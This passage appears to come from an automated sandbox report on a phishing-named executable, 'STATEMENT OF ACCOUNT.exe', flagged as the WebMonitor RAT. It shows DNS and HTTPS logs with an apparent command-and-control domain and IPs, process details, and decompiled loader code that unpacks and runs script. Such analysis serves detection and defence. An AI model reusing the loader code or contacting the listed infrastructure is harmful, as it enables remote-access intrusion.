Aug 10, 2021 15:16:47.725627899 CEST	49285	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:16:48.772444010 CEST	49285	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:16:50.803870916 CEST	49285	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:16:54.819859028 CEST	49285	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:16:59.437330008 CEST	50601	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:17:00.929080009 CEST	50601	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:17:01.930232048 CEST	50601	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:17:03.950685024 CEST	50601	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:17:05.289547920 CEST	60875	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:05.387962103 CEST	53	60875	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:06.187640905 CEST	56448	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:06.263780117 CEST	53	56448	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:06.811729908 CEST	59172	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:06.847354889 CEST	53	59172	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:07.333915949 CEST	62420	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:07.369066954 CEST	53	62420	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:07.386967897 CEST	60579	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:07.425304890 CEST	53	60579	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:07.947036982 CEST	50601	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:17:08.206027985 CEST	50183	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:08.242033958 CEST	53	50183	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:08.737236977 CEST	61531	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:08.773180008 CEST	53	61531	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:09.369092941 CEST	49228	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:09.405879974 CEST	53	49228	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:10.364624977 CEST	59794	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:10.398271084 CEST	53	59794	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:11.414206982 CEST	55916	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:11.447597980 CEST	53	55916	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:11.726439953 CEST	52752	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:11.760967970 CEST	53	52752	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:12.106777906 CEST	60542	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:12.139904976 CEST	53	60542	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:13.102411985 CEST	60689	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:13.168405056 CEST	53	60689	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:13.170945883 CEST	60690	123	192.168.2.4	194.58.200.20
Aug 10, 2021 15:17:13.207685947 CEST	123	60690	194.58.200.20	192.168.2.4
Aug 10, 2021 15:17:13.210100889 CEST	64206	53	192.168.2.4	1.2.4.8
Aug 10, 2021 15:17:13.656220913 CEST	53	64206	1.2.4.8	192.168.2.4
Aug 10, 2021 15:17:13.659689903 CEST	50904	53	192.168.2.4	1.2.4.8
Aug 10, 2021 15:17:13.861746073 CEST	53	50904	1.2.4.8	192.168.2.4
Aug 10, 2021 15:17:14.968415976 CEST	57525	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:15.001406908 CEST	53	57525	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:15.027715921 CEST	57526	123	192.168.2.4	194.58.200.20
Aug 10, 2021 15:17:15.064018965 CEST	123	57526	194.58.200.20	192.168.2.4
Aug 10, 2021 15:17:15.067369938 CEST	53814	53	192.168.2.4	114.114.114.114
Aug 10, 2021 15:17:15.229866982 CEST	53	53814	114.114.114.114	192.168.2.4
Aug 10, 2021 15:17:15.231813908 CEST	53418	53	192.168.2.4	114.114.114.114
Aug 10, 2021 15:17:15.359365940 CEST	53	53418	114.114.114.114	192.168.2.4
Aug 10, 2021 15:17:17.397212029 CEST	62833	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:17.492408991 CEST	53	62833	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:18.021977901 CEST	59260	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:18.055005074 CEST	53	59260	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:21.625080109 CEST	49944	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:21.669817924 CEST	63300	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:21.671753883 CEST	53	49944	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:21.719248056 CEST	53	63300	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:24.415360928 CEST	61449	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:24.455677032 CEST	53	61449	8.8.8.8	192.168.2.4
Aug 10, 2021 15:17:59.094572067 CEST	51275	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:17:59.141283989 CEST	53	51275	8.8.8.8	192.168.2.4
Aug 10, 2021 15:18:00.977027893 CEST	63492	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:18:01.011575937 CEST	53	63492	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 10, 2021 15:16:33.882018089 CEST	192.168.2.4	8.8.8.8	0x6c07	Standard query (0)	sdns.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:34.044972897 CEST	192.168.2.4	8.8.8.8	0x21c6	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:34.196338892 CEST	192.168.2.4	185.243.215.214	0x2805	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:35.225660086 CEST	192.168.2.4	185.243.215.214	0x2805	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:36.225161076 CEST	192.168.2.4	185.243.215.214	0x2805	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:38.271431923 CEST	192.168.2.4	185.243.215.214	0x2805	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:42.272162914 CEST	192.168.2.4	185.243.215.214	0x2805	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:46.606585026 CEST	192.168.2.4	8.8.8.8	0x99ac	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:46.680650949 CEST	192.168.2.4	185.243.215.214	0xfc9e	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:47.725627899 CEST	192.168.2.4	185.243.215.214	0xfc9e	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:48.772444010 CEST	192.168.2.4	185.243.215.214	0xfc9e	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:50.803870916 CEST	192.168.2.4	185.243.215.214	0xfc9e	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:54.819859028 CEST	192.168.2.4	185.243.215.214	0xfc9e	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:59.437330008 CEST	192.168.2.4	185.243.215.214	0xc33c	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:00.929080009 CEST	192.168.2.4	185.243.215.214	0xc33c	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:01.930232048 CEST	192.168.2.4	185.243.215.214	0xc33c	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:03.950685024 CEST	192.168.2.4	185.243.215.214	0xc33c	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:07.947036982 CEST	192.168.2.4	185.243.215.214	0xc33c	Standard query (0)	582a6effa572ee341fb51432402bce5c.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:13.102411985 CEST	192.168.2.4	8.8.8.8	0xeb69	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:13.210100889 CEST	192.168.2.4	1.2.4.8	0xc777	Standard query (0)	6090c881aa6809ceb45465b159f9bf27.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:13.659689903 CEST	192.168.2.4	1.2.4.8	0x786b	Standard query (0)	6090c881aa6809ceb45465b159f9bf27.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:14.968415976 CEST	192.168.2.4	8.8.8.8	0xa543	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:15.067369938 CEST	192.168.2.4	114.114.114.114	0x9dff	Standard query (0)	6090c881aa6809ceb45465b159f9bf27.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:15.231813908 CEST	192.168.2.4	114.114.114.114	0x9645	Standard query (0)	6090c881aa6809ceb45465b159f9bf27.se	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:17.397212029 CEST	192.168.2.4	8.8.8.8	0x4fd6	Standard query (0)	niiarmah.wm01.to	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 10, 2021 15:16:33.980565071 CEST	8.8.8.8	192.168.2.4	0x6c07	No error (0)	sdns.se		185.243.215.214	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:34.150279045 CEST	8.8.8.8	192.168.2.4	0x21c6	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
Aug 10, 2021 15:16:46.640486956 CEST	8.8.8.8	192.168.2.4	0x99ac	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:13.168405056 CEST	8.8.8.8	192.168.2.4	0xeb69	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:13.656220913 CEST	1.2.4.8	192.168.2.4	0xc777	Name error (3)	6090c881aa6809ceb45465b159f9bf27.se	none	none	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:13.861746073 CEST	1.2.4.8	192.168.2.4	0x786b	Name error (3)	6090c881aa6809ceb45465b159f9bf27.se	none	none	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:15.001406908 CEST	8.8.8.8	192.168.2.4	0xa543	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:15.229866982 CEST	114.114.114.114	192.168.2.4	0x9dff	Name error (3)	6090c881aa6809ceb45465b159f9bf27.se	none	none	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:15.359365940 CEST	114.114.114.114	192.168.2.4	0x9645	Name error (3)	6090c881aa6809ceb45465b159f9bf27.se	none	none	A (IP address)	IN (0x0001)
Aug 10, 2021 15:17:17.492408991 CEST	8.8.8.8	192.168.2.4	0x4fd6	No error (0)	niiarmah.wm01.to		45.153.186.90	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Aug 10, 2021 15:17:17.650571108 CEST	45.153.186.90	443	192.168.2.4	49764	CN=*.wm01.to, O=Internet Widgits Pty Ltd, L=SE, ST=SE, C=SE	CN=*.wm01.to, O=Internet Widgits Pty Ltd, L=SE, ST=SE, C=SE	Mon Jul 20 15:58:05 CEST 2020	Thu Jul 18 15:58:05 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: STATEMENT OF ACCOUNT.exe PID: 6500 Parent PID: 5796

General

Start time:	15:16:24
Start date:	10/08/2021
Path:	C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe'
Imagebase:	0x1350000
File size:	985692 bytes
MD5 hash:	D39DA4595CA51A748AC33447965D80E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000000.00000002.659795445.0000000002E80000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: STATEMENT OF ACCOUNT.exe PID: 6524 Parent PID: 6500

General

Start time:	15:16:25
Start date:	10/08/2021
Path:	C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe'
Imagebase:	0x1350000
File size:	985692 bytes
MD5 hash:	D39DA4595CA51A748AC33447965D80E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: STATEMENT OF ACCOUNT.exe PID: 6500 Parent PID: 5796 STATEMENT OF ACCOUNT.exeCOMMON

Executed Functions

Function 01351000, Relevance: 65.1, APIs: 32, Strings: 5, Instructions: 308
registryfilememoryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E01351000() {
				void* _v1016;
				char _v1646;
				char _v1788;
				intOrPtr* _v1820;
				intOrPtr* _v1832;
				short _v1916;
				long _v1924;
				char _v1932;
				int _v1936;
				WCHAR* _v1940;
				intOrPtr _v1944;
				char _v1948;
				void* _v1956;
				intOrPtr* _v1964;
				char _v1976;
				intOrPtr* _v1984;
				int _v2064;
				long _v2068;
				intOrPtr* _v2072;
				int _v2076;
				PWCHAR* _t49;
				WCHAR** _t51;
				short* _t55;
				long _t58;
				long _t63;
				long _t64;
				intOrPtr* _t65;
				void* _t66;
				intOrPtr* _t67;
				intOrPtr* _t69;
				void* _t70;
				char* _t73;
				long _t76;
				intOrPtr* _t78;
				void* _t91;
				intOrPtr* _t94;
				short* _t101;
				void* _t105;
				WCHAR* _t108;
				void* _t109;
				short* _t110;
				void* _t115;
				intOrPtr* _t123;
				intOrPtr _t124;
				short* _t131;
				char* _t133;
				intOrPtr* _t135;
				_Unknown_base(*)()* _t136;
				long _t137;
				long _t138;
				void* _t139;
				void** _t142;
				short* _t143;
				void* _t144;
				void* _t146;
				long* _t147;

				_t136 =  &_v1646;
				memcpy(_t136, 0x1352000, 0x276);
				_t146 =  &_v1932 + 0xc;
				VirtualProtect(_t136, 0x276, 0x40,  &_v1924); // executed
				GrayStringW(GetDC(0), 0, _t136,  &_v1016, 0, 0, 0, 0, 0); // executed
				_t49 = CommandLineToArgvW(GetCommandLineW(),  &_v1936);
				_t137 = 1;
				if(_t49 == 0) {
					L32:
					return _t137;
				}
				_t124 = _v1944;
				if(_t124 < 2) {
					goto L32;
				} else {
					_t114 =  >  ? _t124 : 2;
					_t51 =  &(_t49[1]);
					_t115 = ( >  ? _t124 : 2) - 1;
					asm("o16 nop [cs:eax+eax]");
					while(1) {
						_t108 =  *_t51;
						if(( *_t108 & 0x0000ffff | 0x00000002) != 0x2f) {
							break;
						}
						_t51 =  &(_t51[1]);
						_t115 = _t115 - 1;
						if(_t115 != 0) {
							continue;
						} else {
							goto L32;
						}
					}
					if(GetFullPathNameW(_t108, 0x200, 0x1353050,  &_v1940) - 1 > 9) {
						goto L32;
					}
					_t55 = wcsrchr(_v1940, 0x2e);
					_t147 = _t146 + 8;
					if(_t55 == 0) {
						goto L32;
					}
					_t142 =  &_v1956;
					if(RegOpenKeyW(0x80000000, _t55, _t142) != 0) {
						goto L32;
					}
					_t58 = RegQueryValueW(_v1956, 0,  &_v1916, _t147);
					RegCloseKey(_v1956);
					if(_t58 != 0) {
						goto L32;
					}
					_t131 =  &_v1916;
					lstrcatW(_t131, L"\\ScriptEngine");
					if(RegOpenKeyW(0x80000000, _t131, _t142) != 0) {
						goto L32;
					}
					_t143 =  &_v1788;
					_t63 = RegQueryValueW(_v1956, 0, _t143, _t147);
					_t64 = RegCloseKey(_v1956);
					if(_t63 != 0) {
						goto L32;
					}
					_t133 =  &_v1932;
					__imp__CLSIDFromProgID(_t143, _t133);
					if(_t64 < 0) {
						goto L32;
					}
					__imp__CoInitialize(0);
					__imp__CoCreateInstance(_t133, 0, 3, 0x135228c, _t143);
					if(_t64 < 0) {
						L31:
						__imp__CoUninitialize();
						goto L32;
					}
					_t65 = _v1820;
					_t66 =  *((intOrPtr*)( *_t65))(_t65, 0x13522bc,  &_v1948);
					_t67 = _v1832;
					 *((intOrPtr*)( *_t67 + 8))(_t67);
					if(_t66 < 0) {
						goto L31;
					}
					_t69 = _v1964;
					_t70 =  *((intOrPtr*)( *_t69))(_t69, 0x13522cc, _t147);
					_t135 = _v1976;
					if(_t70 < 0) {
						 *((intOrPtr*)( *_t135 + 8))(_t135);
						goto L31;
					}
					_t138 =  *_t147;
					_t73 =  &_v1976;
					__imp__#161(L"wscript.exe", _t73);
					if(_t73 < 0) {
						L29:
						 *((intOrPtr*)( *_t135 + 8))(_t135);
						_t76 =  *_t147;
						 *((intOrPtr*)( *_t76 + 8))(_t76);
						__imp__CoUninitialize();
						_t137 = 0;
						goto L32;
					}
					_t78 = _v1984;
					 *((intOrPtr*)( *_t78 + 8))(_t78);
					_push(0x1353000);
					_push(_t135);
					if( *((intOrPtr*)( *_t135 + 0xc))() < 0) {
						goto L29;
					}
					_push(_t138);
					if( *((intOrPtr*)( *_t138 + 0xc))() < 0) {
						goto L29;
					}
					_push(2);
					_push(L"WScript");
					_push(_t135);
					if( *((intOrPtr*)( *_t135 + 0x20))() < 0) {
						goto L29;
					}
					_push(2);
					_push("WSH");
					_push(_t135);
					if( *((intOrPtr*)( *_t135 + 0x20))() < 0) {
						goto L29;
					}
					_push(5);
					_push(_t135);
					if( *((intOrPtr*)( *_t135 + 0x14))() < 0) {
						goto L29;
					}
					_v2064 = _v2076;
					_t91 = CreateFileW(_t108, 0x80000000, 0, 0, 3, 1, 0);
					if(_t91 != 0xffffffff) {
						_t139 = _t91;
						_v2068 = GetFileSize(_t91, 0);
						_t109 = CreateFileMappingW(_t139, 0, 2, 0, 0, 0);
						CloseHandle(_t139);
						if(_t109 != 0xffffffff) {
							_t144 = MapViewOfFile(_t109, 4, 0, 0, 0);
							CloseHandle(_t109);
							if(_t144 != 0) {
								_t101 = MultiByteToWideChar(0, 0, _t144, _v2068, 0, 0);
								__imp__#4(0, _t101);
								_t110 = _t101;
								MultiByteToWideChar(0, 0, _t144, _v2076, _t101, _t101);
								UnmapViewOfFile(_t144);
								if(_t110 != 0) {
									_t123 = _v2072;
									_t105 =  *((intOrPtr*)( *_t123 + 0x14))(_t123, _t110, 0, 0, 0, 1, 1, 0x82, 0, 0);
									__imp__#6(_t110);
									if(_t105 >= 0) {
										 *((intOrPtr*)( *_t135 + 0x14))(_t135, 1);
									}
								}
							}
						}
					}
					 *((intOrPtr*)( *_t135 + 0x1c))(_t135);
					_t94 =  *0x1353258;
					 *((intOrPtr*)( *_t94 + 8))(_t94);
					goto L29;
				}
			}

0x0135100a
0x0135101c
0x01351021
0x01351031
0x01351055
0x01351067
0x0135106f
0x01351074
0x0135139a
0x013513a6
0x013513a6
0x0135107a
0x01351081
0x00000000
0x01351087
0x0135108f
0x01351092
0x01351095
0x01351096
0x013510a0
0x013510a0
0x013510ac
0x00000000
0x00000000
0x013510ae
0x013510b1
0x013510b2
0x00000000
0x013510b4
0x00000000
0x013510b4
0x013510b2
0x013510d3
0x00000000
0x00000000
0x013510df
0x013510e4
0x013510e9
0x00000000
0x00000000
0x013510ef
0x01351102
0x00000000
0x00000000
0x01351116
0x01351122
0x0135112a
0x00000000
0x00000000
0x01351135
0x0135113a
0x0135114f
0x00000000
0x00000000
0x01351155
0x01351166
0x01351172
0x0135117a
0x00000000
0x00000000
0x01351180
0x01351186
0x0135118e
0x00000000
0x00000000
0x01351196
0x013511a7
0x013511af
0x01351394
0x01351394
0x00000000
0x01351394
0x013511b5
0x013511c9
0x013511cd
0x013511d7
0x013511dc
0x00000000
0x00000000
0x013511e2
0x013511f1
0x013511f3
0x013511f9
0x01351391
0x00000000
0x01351391
0x013511ff
0x01351202
0x0135120c
0x01351214
0x01351375
0x01351378
0x0135137b
0x01351381
0x01351384
0x0135138a
0x00000000
0x0135138a
0x0135121a
0x01351221
0x01351226
0x0135122b
0x01351231
0x00000000
0x00000000
0x01351239
0x0135123f
0x00000000
0x00000000
0x01351247
0x01351249
0x0135124e
0x01351254
0x00000000
0x00000000
0x0135125c
0x0135125e
0x01351263
0x01351269
0x00000000
0x00000000
0x01351271
0x01351273
0x01351279
0x00000000
0x00000000
0x01351282
0x01351296
0x0135129f
0x013512a5
0x013512b0
0x013512c5
0x013512c8
0x013512d1
0x013512e6
0x013512e9
0x013512f1
0x01351300
0x0135130b
0x01351311
0x0135131e
0x01351325
0x0135132d
0x0135132f
0x0135134c
0x01351352
0x0135135a
0x01351361
0x01351361
0x0135135a
0x0135132d
0x013512f1
0x013512d1
0x01351367
0x0135136a
0x01351372
0x00000000
0x01351372

APIs

memcpy.MSVCRT ref: 0135101C
VirtualProtect.KERNELBASE(?,00000276,00000040,?), ref: 01351031
GetDC.USER32(00000000), ref: 01351039
GrayStringW.USER32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000), ref: 01351055
GetCommandLineW.KERNEL32 ref: 0135105B
CommandLineToArgvW.SHELL32(00000000,?), ref: 01351067
GetFullPathNameW.KERNEL32(00000000,00000200,01353050,?), ref: 013510C9
wcsrchr.MSVCRT ref: 013510DF
RegOpenKeyW.ADVAPI32(80000000,00000000,?), ref: 013510FA
RegQueryValueW.ADVAPI32(?,00000000,?), ref: 01351116
RegCloseKey.ADVAPI32(?), ref: 01351122
lstrcatW.KERNEL32(?,\ScriptEngine), ref: 0135113A
RegOpenKeyW.ADVAPI32(80000000,?,?), ref: 01351147
RegQueryValueW.ADVAPI32(00000000,00000000,?), ref: 01351166
RegCloseKey.ADVAPI32(?), ref: 01351172
CLSIDFromProgID.OLE32(?,?), ref: 01351186
CoInitialize.OLE32(00000000), ref: 01351196
CoCreateInstance.OLE32(?,00000000,00000003,0135228C,?), ref: 013511A7
LoadTypeLib.OLEAUT32(wscript.exe,?), ref: 0135120C
CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000001,00000000), ref: 01351296
GetFileSize.KERNEL32(00000000,00000000), ref: 013512AA
CreateFileMappingW.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 013512BF
CloseHandle.KERNEL32(00000000), ref: 013512C8
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 013512E0
CloseHandle.KERNEL32(00000000), ref: 013512E9
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 01351300
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 0135130B
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0135131E
UnmapViewOfFile.KERNEL32(00000000), ref: 01351325
SysFreeString.OLEAUT32(00000000), ref: 01351352
CoUninitialize.OLE32 ref: 01351384
CoUninitialize.OLE32 ref: 01351394

Strings

wscript.exe, xrefs: 01351207
WSH, xrefs: 0135125E
\ScriptEngine, xrefs: 01351130
WScript, xrefs: 01351249
0Tdt, xrefs: 01351055

Memory Dump Source

Source File: 00000000.00000002.659619553.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.659609125.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659624654.0000000001352000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659630359.0000000001354000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Close$CreateString$ByteCharCommandHandleLineMultiOpenQueryUninitializeValueViewWide$AllocArgvFreeFromFullGrayInitializeInstanceLoadMappingNamePathProgProtectSizeTypeUnmapVirtuallstrcatmemcpywcsrchr
String ID: 0Tdt$WSH$WScript$\ScriptEngine$wscript.exe
API String ID: 2980795611-1294687882
Opcode ID: 698a71dfa30db4321afcd81038acda59917e299dc0a686bd1a2c40728d97e1ff
Instruction ID: 75d358a15b8ef4fec26bb61f8d982bbc379d95f954e401e030d1751b00d6116c
Opcode Fuzzy Hash: 698a71dfa30db4321afcd81038acda59917e299dc0a686bd1a2c40728d97e1ff
Instruction Fuzzy Hash: D6A11671344301EFE7609F64CC4AF2B7BADEF85F59F114418FA46AA291E770A8018B61

Uniqueness

Uniqueness Score: -1.00%

Function 011306DA, Relevance: 10.7, APIs: 7, Instructions: 196filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 011307B4
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 011307DE
ReadFile.KERNELBASE(00000000,00000000,0113026C,?,00000000), ref: 011307F5
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 01130817
FindCloseChangeNotification.KERNELBASE(7FDFFF66,?,?,?,?,?,?,?,?,?,?,?,?,?,011301AE,7FDFFF66), ref: 0113088A
VirtualFree.KERNELBASE(00000000,00000000,00008000,?), ref: 01130895
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,?,011301AE), ref: 011308E0

Memory Dump Source

Source File: 00000000.00000002.659587777.0000000001130000.00000040.00000001.sdmp, Offset: 01130000, based on PE: false

Similarity

API ID: Virtual$AllocFileFree$ChangeCloseCreateFindNotificationRead
String ID:
API String ID: 656311269-0
Opcode ID: 7596a5b0863dce102ac5e44fc0c1bf5ec247777bab1f74baaf6af156cc8ed73a
Instruction ID: d3f491d82dbd69a24473577c737763da4e4d65f3f9e060d600d18cc46cf2fdfc
Opcode Fuzzy Hash: 7596a5b0863dce102ac5e44fc0c1bf5ec247777bab1f74baaf6af156cc8ed73a
Instruction Fuzzy Hash: 4361A031E00709ABDB18DBA8C880BAEBBF5AF9C710F148199F505FB395E7749D418B94

Uniqueness

Uniqueness Score: -1.00%

Function 0135152F, Relevance: 16.6, APIs: 11, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 67%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				WCHAR* _v8;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOW _v96;
				char _v100;
				char _v104;
				int _v108;
				char _v112;
				char _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t37;
				intOrPtr _t38;
				signed int _t40;
				int _t42;
				intOrPtr* _t43;
				intOrPtr _t44;
				intOrPtr _t52;
				int _t58;
				intOrPtr* _t61;
				intOrPtr _t66;

				_push(0xffffffff);
				_push(0x13522e0);
				_push(0x13516e8);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t66;
				_v28 = _t66 - 0x68;
				_v8 = 0;
				_t58 = 2;
				__set_app_type(_t58);
				 *0x135327c =  *0x135327c | 0xffffffff;
				 *0x1353278 =  *0x1353278 | 0xffffffff;
				 *(__p__fmode()) =  *0x1353274;
				 *(__p__commode()) =  *0x1353270;
				 *0x135326c = _adjust_fdiv;
				E013516C9( *_adjust_fdiv);
				if( *0x1353034 == 0) {
					__setusermatherr(E013516C6);
				}
				E013516B4();
				L013516E2();
				_v112 =  *0x1353268;
				__imp____wgetmainargs( &_v100,  &_v116,  &_v104,  *0x1353264,  &_v112, 0x1353048, 0x135304c); // executed
				_push(0x1353044);
				_push(0x1353040);
				L013516E2();
				_t37 = __imp___wcmdln;
				_t61 =  *_t37;
				if(_t61 != 0) {
					_v120 = _t61;
					if( *_t61 != 0x22) {
						while( *_t61 > 0x20) {
							_t61 = _t61 + _t58;
							_v120 = _t61;
						}
					} else {
						do {
							_t61 = _t61 + _t58;
							_v120 = _t61;
							_t44 =  *_t61;
						} while (_t44 != 0 && _t44 != 0x22);
						if( *_t61 == 0x22) {
							L8:
							_t61 = _t61 + _t58;
							_v120 = _t61;
						}
					}
					_t38 =  *_t61;
					if(_t38 != 0 && _t38 <= 0x20) {
						goto L8;
					}
					_v96.dwFlags = 0;
					GetStartupInfoW( &_v96);
					if((_v96.dwFlags & 0x00000001) == 0) {
						_t40 = 0xa;
					} else {
						_t40 = _v96.wShowWindow & 0x0000ffff;
					}
					_push(_t40);
					_push(_t61);
					_push(0);
					_push(GetModuleHandleW(0));
					_t42 = E01351000();
					_v108 = _t42;
